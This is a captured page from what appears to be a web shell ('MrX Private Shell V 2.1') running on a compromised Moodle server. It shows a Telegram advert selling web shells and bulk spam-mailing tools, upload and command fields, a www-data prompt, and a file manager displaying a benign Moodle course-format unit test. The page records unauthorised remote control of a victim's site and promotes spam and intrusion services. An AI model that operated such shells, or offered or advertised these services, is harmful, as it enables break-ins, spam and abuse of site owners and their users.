__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_courseformat;

/**
 * Course format actions class tests.
 *
 * @package    core_courseformat
 * @copyright  2023 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @coversDefaultClass \core_courseformat\formatactions
 */
final class formatactions_test extends \advanced_testcase {

    /**
     * Setup to ensure that fixtures are loaded.
     */
    public static function setUpBeforeClass(): void {
        global $CFG;
        require_once($CFG->dirroot . '/course/format/tests/fixtures/format_theunittest.php');
        require_once($CFG->dirroot . '/course/format/tests/fixtures/format_theunittest_courseactions.php');
        require_once($CFG->dirroot . '/course/format/tests/fixtures/format_theunittest_sectionactions.php');
        require_once($CFG->dirroot . '/course/format/tests/fixtures/format_theunittest_cmactions.php');
        parent::setUpBeforeClass();
    }

    /**
     * Test for get_instance static method.
     * @dataProvider provider_classname_action
     * @covers ::instance
     * @param string $format
     * @param array $classnames
     */
    public function test_instance(string $format, array $classnames): void {
        $this->resetAfterTest();
        $course = $this->getDataGenerator()->create_course(['format' => $format]);

        $instance1 = formatactions::instance($course);
        $this->assertInstanceOf('\core_courseformat\formatactions', $instance1);

        $instance2 = formatactions::instance($course->id);
        $this->assertInstanceOf('\core_courseformat\formatactions', $instance2);

        // Validate the method is caching the result.
        $this->assertEquals($instance1, $instance2);

        // Validate public attribute classes.
        $this->assertInstanceOf($classnames['course'], $instance1->course);
        $this->assertInstanceOf($classnames['section'], $instance1->section);
        $this->assertInstanceOf($classnames['cm'], $instance1->cm);
    }

    /**
     * Test that the course action instance is created correctly.
     * @dataProvider provider_classname_action
     * @covers ::course
     * @param string $format
     * @param array $classnames
     */
    public function test_course_action_instance(string $format, array $classnames): void {
        $this->resetAfterTest();
        $course = $this->getDataGenerator()->create_course(['format' => $format]);

        $instance1 = formatactions::course($course);
        $this->assertInstanceOf($classnames['course'], $instance1);

        $instance2 = formatactions::course($course->id);
        $this->assertInstanceOf($classnames['course'], $instance2);
    }

    /**
     * Test that the section action instance is created correctly.
     * @dataProvider provider_classname_action
     * @covers ::section
     *
     * @param string $format
     * @param array $classnames
     */
    public function test_static_sectionactions_instance(string $format, array $classnames): void {
        $this->resetAfterTest();
        $course = $this->getDataGenerator()->create_course(['format' => $format]);

        $instance1 = formatactions::section($course);
        $this->assertInstanceOf($classnames['section'], $instance1);

        $instance2 = formatactions::section($course->id);
        $this->assertInstanceOf($classnames['section'], $instance2);
    }

    /**
     * Test that the cm action instance is created correctly.
     * @dataProvider provider_classname_action
     * @covers ::cm
     *
     * @param string $format
     * @param array $classnames
     */
    public function test_static_cmactions_instance(string $format, array $classnames): void {
        $this->resetAfterTest();
        $course = $this->getDataGenerator()->create_course(['format' => $format]);

        $instance1 = formatactions::cm($course);
        $this->assertInstanceOf($classnames['cm'], $instance1);

        $instance2 = formatactions::cm($course->id);
        $this->assertInstanceOf($classnames['cm'], $instance2);
    }

    /**
     * Data provider for format class names scenarios.
     * @return array
     */
    public static function provider_classname_action(): array {
        return [
            'Topics format' => [
                'format' => 'topics',
                'classnames' => [
                    'course' => '\core_courseformat\local\courseactions',
                    'section' => '\core_courseformat\local\sectionactions',
                    'cm' => '\core_courseformat\local\cmactions',
                ],
            ],
            'The unit test fixture format' => [
                'format' => 'theunittest',
                'classnames' => [
                    'course' => '\format_theunittest\courseformat\courseactions',
                    'section' => '\format_theunittest\courseformat\sectionactions',
                    'cm' => '\format_theunittest\courseformat\cmactions',
                ],
            ],
        ];
    }
}

Filemanager

Name Type Size Permission Actions
behat Folder 0777
external Folder 0777
fixtures Folder 0777
local Folder 0777
output Folder 0777
privacy Folder 0777
base_test.php File 45.52 KB 0777
formatactions_test.php File 5.54 KB 0777
sectiondelegate_test.php File 6.85 KB 0777
stateactions_test.php File 65.1 KB 0777
stateupdates_test.php File 13.49 KB 0777
Filemanager